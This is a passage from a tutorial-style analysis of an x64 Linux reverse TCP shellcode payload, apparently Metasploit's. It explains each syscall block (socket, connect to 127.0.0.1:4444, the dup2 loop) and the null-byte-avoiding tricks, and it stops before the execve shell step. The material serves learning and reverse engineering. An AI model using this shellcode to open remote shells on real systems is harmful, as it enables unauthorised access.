2.a Analysis of “Shell Reverse TCP”

Photo by Thomas Jensen on Unsplash

The first sample is the reverse TCP payload without any options:

The first block makes a socket syscall:

push 0x29

pop rax ; loads 0x29 into rax cdq ; fill rdx with 0s push 2

pop rdi ; loads 0x02 into rdi push 1

pop rsi ; loads 0x01 into rsi syscall ; sys_socket(ipv4,tcp,)

We can see the writer uses push <val> and pop <reg> after to avoid null bytes and reduce payload size. For 1 byte values, this combo occupies just 3 bytes:

6a29 push 0x29

58 pop rax

Compared with a mov instruction this is a huge improvement:

48c7c029000000 mov rax, 0x29

Another nice trick is the use of cdq . This instruction sign extends eax into rdx, so, given that eax is now positive rdx will be filled with zeros. Using this trick the writer is able to zero out rdx with just one byte!

99 cdq ; 1 byte long, no null bytes ; Compared with other options: 48c7c200000000 mov rdx,0 ; 7 bytes long, contains null bytes 6a00 push 0

5a pop rdx ; 3 bytes long and contains a null byte 4831d2 xor rdx,rdx ; 3 bytes long, no null bytesNext block:

As we now have a socket ready the following block handles the connection:

xchg rax, rdi ; the socket file descriptor is loaded into rdi movabs rcx, 0x100007f5c110002

push rcx

mov rsi, rsp ; loads address of 0x100007f5c110002 into rsi push 0x10

pop rdx ; loads 0x10 as address len push 0x2a ; 0x2a is the "connect" syscall number

pop rax syscall ; sys_connect syscall

We see another nice trick at the first line using xchg rax,rdi to which loads the socket file descriptor into rdx using just two bytes!

Next couple of lines pushes a value into the stack and loads its address into rsi. What’s this value? let’s find out:

Looking into the syscalls table we can see the rdi register should hold a struct sockaddr *uservaddr so it makes sense to be an address as the syscall needs a pointer to the struct. The content of the struct can be reverse engineered. We know it must contain an IP address. How many bytes are needed to represent an address? the answer is 4

256 = 2^8 = 1 byte needed

each ip address consist on 4 numbers, therefore bytes are nedded

During the following explanation take in consideration in the code we see the immediate 7,5 bytes value 0x100007f5c110002 but it will be placed as an 8 bytes value 0x0100007f5c110002 into rcx.

If we take the first 4 bytes from 0x0100007f5c110002 (0x0100007f) reverse the endianness and convert them to an IP we get 127.0.0.1.

Next value is the port number. 0x115c is the hex representation of 4444.

The next block loops over the file descriptors for stdin, stdout, and stderr and duplicates them using the dup2 syscall. The file descriptor for our recently opened socket is loaded into the rdi register already.

; we already laoded the socket fd into rdi

; remember we exchanged rax and rdi values in the last block 6a03 push 3

5e pop rsi ; loads 3 into rsi ┌─> 48ffce dec rsi

╎ 6a21 push 0x21

╎ 58 pop rax ; load 0x21 into rax

╎ 0f05 syscall ; sys_dup2 syscall

└─< 75f6 jne 0x27

Two nice details from this part:

The writer saves some bytes by having the value of rdi loaded in the previous block instead of passing it around from register to register or pushing it into the stack.

The break condition of the loop is implemented without a test or cmp instruction. It just looks at the ZF (zero flag) which we’ll be set in the last round. Great way of saving some more bytes!

The last portion of the code corresponds to the actual shell being popped. An execve “/bin/sh” call is made. Let’s see how: